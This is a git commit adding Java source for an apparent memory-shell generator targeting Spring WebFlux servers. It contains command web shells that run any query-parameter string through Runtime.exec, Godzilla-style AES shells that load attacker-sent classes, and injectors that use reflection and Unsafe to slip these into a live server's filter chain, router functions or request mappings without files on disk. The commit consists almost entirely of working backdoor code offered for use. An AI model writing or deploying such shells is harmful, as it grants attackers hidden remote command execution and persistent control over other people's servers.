feat: support spring webflux shell generate (resolved #6)

This commit is contained in:
ReaJason
2024-12-26 00:59:24 +08:00
parent 4e53d03d26
commit 013745b77c
45 changed files with 1510 additions and 20 deletions
@@ -0,0 +1,47 @@
package com.reajason.javaweb.memshell.springwebflux.command;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Optional;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
public String paramName = "{{paramName}}";
@Override
public Mono<ServerResponse> handle(ServerRequest request) {
Optional<String> cmdOptional = request.queryParam(paramName);
if (!cmdOptional.isPresent()) {
return Mono.empty();
}
System.out.println("hanlder function cmd " + cmdOptional.get());
try {
StringBuilder result = new StringBuilder();
try {
String cmd = cmdOptional.get();
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
} catch (Exception ex) {
ex.printStackTrace();
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
}
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.memshell.springwebflux.command;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import java.io.BufferedReader;
import java.io.InputStreamReader;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class CommandHandlerMethod {
public String paramName = "{{paramName}}";
public CommandHandlerMethod() {
}
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
try {
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
System.out.println("handler method cmd: " + cmd);
StringBuilder result = new StringBuilder();
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
return ResponseEntity.ok(result.toString());
} catch (Exception ex) {
return ResponseEntity.ok(ex.getMessage());
}
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.springwebflux.command;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class CommandWebFilter extends ClassLoader implements WebFilter {
public String paramName = "{{paramName}}";
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
String cmd = exchange.getRequest().getQueryParams().getFirst(paramName);
if (cmd == null) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getResult(cmd));
}
private Mono<DataBuffer> getResult(String cmd) {
StringBuilder result = new StringBuilder();
try {
Process exec = Runtime.getRuntime().exec(cmd);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) {
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
}
}
@@ -0,0 +1,115 @@
package com.reajason.javaweb.memshell.springwebflux.godzilla;
import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public Class<?> payload;
public GodzillaHandlerFunction() {
}
protected GodzillaHandlerFunction(ClassLoader parent) {
super(parent);
}
@Override
public Mono<ServerResponse> handle(ServerRequest request) {
String value = request.headers().firstHeader(headerName);
if (value == null || !value.contains(headerValue)) {
return Mono.empty();
}
try {
Object bufferStream = request.formData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Exception ex) {
ex.printStackTrace();
}
return Mono.just(result.toString());
});
return ServerResponse.ok().body(bufferStream, String.class);
} catch (Exception ex) {
return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,114 @@
package com.reajason.javaweb.memshell.springwebflux.godzilla;
import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class GodzillaHandlerMethod extends ClassLoader {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public Class<?> payload;
public GodzillaHandlerMethod() {
}
public GodzillaHandlerMethod(ClassLoader parent) {
super(parent);
}
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
String value = exchange.getRequest().getHeaders().getFirst(headerName);
if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build();
}
try {
Object bufferStream = exchange.getFormData().flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Exception ex) {
result.append(ex.getMessage());
}
return Mono.just(result.toString());
});
return ResponseEntity.ok(bufferStream);
} catch (Exception ex) {
return ResponseEntity.ok(ex.getMessage());
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,123 @@
package com.reajason.javaweb.memshell.springwebflux.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class GodzillaWebFilter extends ClassLoader implements WebFilter {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public Class<?> payload;
public GodzillaWebFilter() {
}
public GodzillaWebFilter(ClassLoader parent) {
super(parent);
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
String value = exchange.getRequest().getHeaders().getFirst(headerName);
if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange);
}
return exchange.getResponse().writeWith(getPost(exchange));
}
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
return formData.flatMap(map -> {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = (Class) new GodzillaWebFilter(this.getClass().getClassLoader()).Q(data);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
result.append(md5.substring(0, 16));
f.toString();
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Exception ignored) {
}
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
});
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
}
@@ -0,0 +1,165 @@
package com.reajason.javaweb.memshell.springwebflux.injector;
import org.springframework.util.Base64Utils;
import org.springframework.web.reactive.function.server.*;
import org.springframework.web.reactive.function.server.support.RouterFunctionMapping;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class SpringWebFluxHandlerFunctionInjector {
static {
new SpringWebFluxHandlerFunctionInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxHandlerFunctionInjector() {
try {
Object webHandler = getWebHandler();
Object functionObj = getShell();
inject(webHandler, functionObj);
} catch (Exception e) {
e.printStackTrace();
}
}
public Object getWebHandler() throws Exception {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
}
}
return null;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object webHandler, Object functionObj) throws Exception {
Object handler = getFieldValue(webHandler, "delegate");
List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
RouterFunctionMapping routerFunctionMapping = null;
for (Object handlerMapping : handlerMappings) {
if (handlerMapping.getClass().getName().contains("RouterFunctionMapping")) {
routerFunctionMapping = (RouterFunctionMapping) handlerMapping;
break;
}
}
RouterFunction<?> routerFunction = routerFunctionMapping.getRouterFunction();
RouterFunction<ServerResponse> newRouterFunction = RouterFunctions.route(RequestPredicates.path(getUrlPattern()), ((HandlerFunction) functionObj));
if (routerFunction == null) {
routerFunction = newRouterFunction;
RouterFunctions.changeParser(routerFunction, routerFunctionMapping.getPathPatternParser());
} else {
try {
// 缺陷,没法遍历所有的 RouterFunction 来进行判断,所以一个服务每一次注入都尽量更改 urlPattern
HandlerFunction<?> handlerFunction = (HandlerFunction<?>) getFieldValue(routerFunction, "handlerFunction");
if (handlerFunction.getClass().getName().equals(getClassName())) {
System.out.println("routerFunction already injected");
return;
}
} catch (Exception ignored) {
}
routerFunction = newRouterFunction.andOther(routerFunction);
}
Field field = routerFunctionMapping.getClass().getDeclaredField("routerFunction");
field.setAccessible(true);
field.set(routerFunctionMapping, routerFunction);
System.out.println("routerFunction inject successful");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,157 @@
package com.reajason.javaweb.memshell.springwebflux.injector;
import org.springframework.util.Base64Utils;
import org.springframework.web.method.HandlerMethod;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.server.ServerWebExchange;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collection;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/25
*/
public class SpringWebFluxHandlerMethodInjector {
static {
new SpringWebFluxHandlerMethodInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxHandlerMethodInjector() {
try {
Object webHandler = getWebHandler();
Object handlerMethod = getShell();
inject(webHandler, handlerMethod);
} catch (Exception e) {
e.printStackTrace();
}
}
public Object getWebHandler() throws Exception {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
}
}
return null;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@SuppressWarnings("unchecked")
public void inject(Object webHandler, Object handlerMethod) throws Exception {
Object handler = getFieldValue(webHandler, "delegate");
List<Object> handlerMappings = (List<Object>) invokeMethod(handler, "getHandlerMappings", null, null);
RequestMappingHandlerMapping requestMappingHandlerMapping = null;
for (Object handlerMapping : handlerMappings) {
if (handlerMapping.getClass().getName().contains("RequestMappingHandlerMapping")) {
requestMappingHandlerMapping = (RequestMappingHandlerMapping) handlerMapping;
break;
}
}
Collection<HandlerMethod> values = requestMappingHandlerMapping.getHandlerMethods().values();
Method method = handlerMethod.getClass().getMethod("invoke", ServerWebExchange.class);
for (HandlerMethod value : values) {
if (value.getMethod().equals(method)) {
System.out.println("handlerMethod already injected");
return;
}
}
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build();
invokeMethod(requestMappingHandlerMapping, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handlerMethod, method, requestMappingInfo});
System.out.println("handlerMethod inject successful");
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,136 @@
package com.reajason.javaweb.memshell.springwebflux.injector;
import org.springframework.util.Base64Utils;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.FilteringWebHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/24
*/
public class SpringWebFluxWebFilterInjector {
static {
new SpringWebFluxWebFilterInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public SpringWebFluxWebFilterInjector() {
try {
FilteringWebHandler webHandler = getWebHandler();
Object filter = getShell();
inject(webHandler, filter);
} catch (Exception e) {
e.printStackTrace();
}
}
public FilteringWebHandler getWebHandler() throws Exception {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Thread[] threads = (Thread[]) getThreads.invoke(null);
for (Thread thread : threads) {
if (thread.getClass().getName().contains("NettyWebServer")) {
Object nettyWebServer = getFieldValue(thread, "this$0");
Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler");
Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler");
return (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate");
}
}
return null;
}
private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
DefaultWebFilterChain chain = (DefaultWebFilterChain) getFieldValue(webHandler, "chain");
List<WebFilter> filters = new ArrayList<>(chain.getFilters());
for (Object o : filters) {
if (o.getClass().getName().equals(getClassName())) {
System.out.println("filter already injected");
return;
}
}
filters.add(0, ((WebFilter) filter));
DefaultWebFilterChain newChain = new DefaultWebFilterChain(chain.getHandler(), filters);
setFinalField(webHandler, "chain", newChain);
System.out.println("filter inject successful");
}
public void setFinalField(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object offset = unsafe.getClass().getMethod("objectFieldOffset", Field.class).invoke(unsafe, field);
unsafe.getClass().getMethod("putObject", Object.class, long.class, Object.class).invoke(unsafe, obj, offset, value);
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
try (ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) {
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}